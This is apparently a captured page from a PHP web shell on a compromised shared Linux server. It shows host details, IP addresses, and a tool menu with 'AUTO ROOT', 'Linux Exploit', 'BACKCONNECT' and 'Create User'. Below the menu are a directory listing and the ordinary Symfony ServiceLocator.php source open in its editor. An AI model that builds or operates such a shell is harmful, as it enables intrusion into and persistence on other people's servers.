Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
wp /
vendor /
symfony /
dependency-injection /
[ HOME SHELL ]
Name
Size
Permission
Action
Argument
[ DIR ]
drwxr-xr-x
Compiler
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
Dumper
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Extension
[ DIR ]
drwxr-xr-x
LazyProxy
[ DIR ]
drwxr-xr-x
Loader
[ DIR ]
drwxr-xr-x
ParameterBag
[ DIR ]
drwxr-xr-x
Tests
[ DIR ]
drwxr-xr-x
Alias.php
1.94
KB
-rw-r--r--
CHANGELOG.md
5.27
KB
-rw-r--r--
ChildDefinition.php
3.27
KB
-rw-r--r--
Container.php
18.99
KB
-rw-r--r--
ContainerAwareInterface.php
590
B
-rw-r--r--
ContainerAwareTrait.php
599
B
-rw-r--r--
ContainerBuilder.php
55.05
KB
-rw-r--r--
ContainerInterface.php
2.84
KB
-rw-r--r--
Definition.php
22.32
KB
-rw-r--r--
DefinitionDecorator.php
955
B
-rw-r--r--
EnvVarProcessor.php
5
KB
-rw-r--r--
EnvVarProcessorInterface.php
1.12
KB
-rw-r--r--
ExpressionLanguage.php
951
B
-rw-r--r--
ExpressionLanguageProvider.php
1.47
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
Parameter.php
703
B
-rw-r--r--
README.md
584
B
-rw-r--r--
Reference.php
1.17
KB
-rw-r--r--
ResettableContainerInterface.p...
967
B
-rw-r--r--
ServiceLocator.php
4.63
KB
-rw-r--r--
ServiceSubscriberInterface.php
1.94
KB
-rw-r--r--
TaggedContainerInterface.php
719
B
-rw-r--r--
TypedReference.php
1.43
KB
-rw-r--r--
Variable.php
713
B
-rw-r--r--
composer.json
1.48
KB
-rw-r--r--
phpunit.xml.dist
897
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ServiceLocator.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\DependencyInjection; use Psr\Container\ContainerInterface as PsrContainerInterface; use Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException; use Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException; /** * @author Robin Chalas <robin.chalas@gmail.com> * @author Nicolas Grekas <p@tchwork.com> */ class ServiceLocator implements PsrContainerInterface { private $factories; private $loading = []; private $externalId; private $container; /** * @param callable[] $factories */ public function __construct(array $factories) { $this->factories = $factories; } /** * {@inheritdoc} */ public function has($id) { return isset($this->factories[$id]); } /** * {@inheritdoc} */ public function get($id) { if (!isset($this->factories[$id])) { throw new ServiceNotFoundException($id, end($this->loading) ?: null, null, [], $this->createServiceNotFoundMessage($id)); } if (isset($this->loading[$id])) { $ids = array_values($this->loading); $ids = \array_slice($this->loading, array_search($id, $ids)); $ids[] = $id; throw new ServiceCircularReferenceException($id, $ids); } $this->loading[$id] = $id; try { return $this->factories[$id](); } finally { unset($this->loading[$id]); } } public function __invoke($id) { return isset($this->factories[$id]) ? $this->get($id) : null; } /** * @internal */ public function withContext($externalId, Container $container) { $locator = clone $this; $locator->externalId = $externalId; $locator->container = $container; return $locator; } private function createServiceNotFoundMessage($id) { if ($this->loading) { return sprintf('The service "%s" has a dependency on a non-existent service "%s". This locator %s', end($this->loading), $id, $this->formatAlternatives()); } $class = debug_backtrace(\DEBUG_BACKTRACE_PROVIDE_OBJECT | \DEBUG_BACKTRACE_IGNORE_ARGS, 3); $class = isset($class[2]['object']) ? \get_class($class[2]['object']) : null; $externalId = $this->externalId ?: $class; $msg = []; $msg[] = sprintf('Service "%s" not found:', $id); if (!$this->container) { $class = null; } elseif ($this->container->has($id) || isset($this->container->getRemovedIds()[$id])) { $msg[] = 'even though it exists in the app\'s container,'; } else { try { $this->container->get($id); $class = null; } catch (ServiceNotFoundException $e) { if ($e->getAlternatives()) { $msg[] = sprintf('did you mean %s? Anyway,', $this->formatAlternatives($e->getAlternatives(), 'or')); } else { $class = null; } } } if ($externalId) { $msg[] = sprintf('the container inside "%s" is a smaller service locator that %s', $externalId, $this->formatAlternatives()); } else { $msg[] = sprintf('the current service locator %s', $this->formatAlternatives()); } if (!$class) { // no-op } elseif (is_subclass_of($class, ServiceSubscriberInterface::class)) { $msg[] = sprintf('Unless you need extra laziness, try using dependency injection instead. Otherwise, you need to declare it using "%s::getSubscribedServices()".', preg_replace('/([^\\\\]++\\\\)++/', '', $class)); } else { $msg[] = 'Try using dependency injection instead.'; } return implode(' ', $msg); } private function formatAlternatives(array $alternatives = null, $separator = 'and') { $format = '"%s"%s'; if (null === $alternatives) { if (!$alternatives = array_keys($this->factories)) { return 'is empty...'; } $format = sprintf('only knows about the %s service%s.', $format, 1 < \count($alternatives) ? 's' : ''); } $last = array_pop($alternatives); return sprintf($format, $alternatives ? implode('", "', $alternatives) : $last, $alternatives ? sprintf(' %s "%s"', $separator, $last) : ''); } }
Close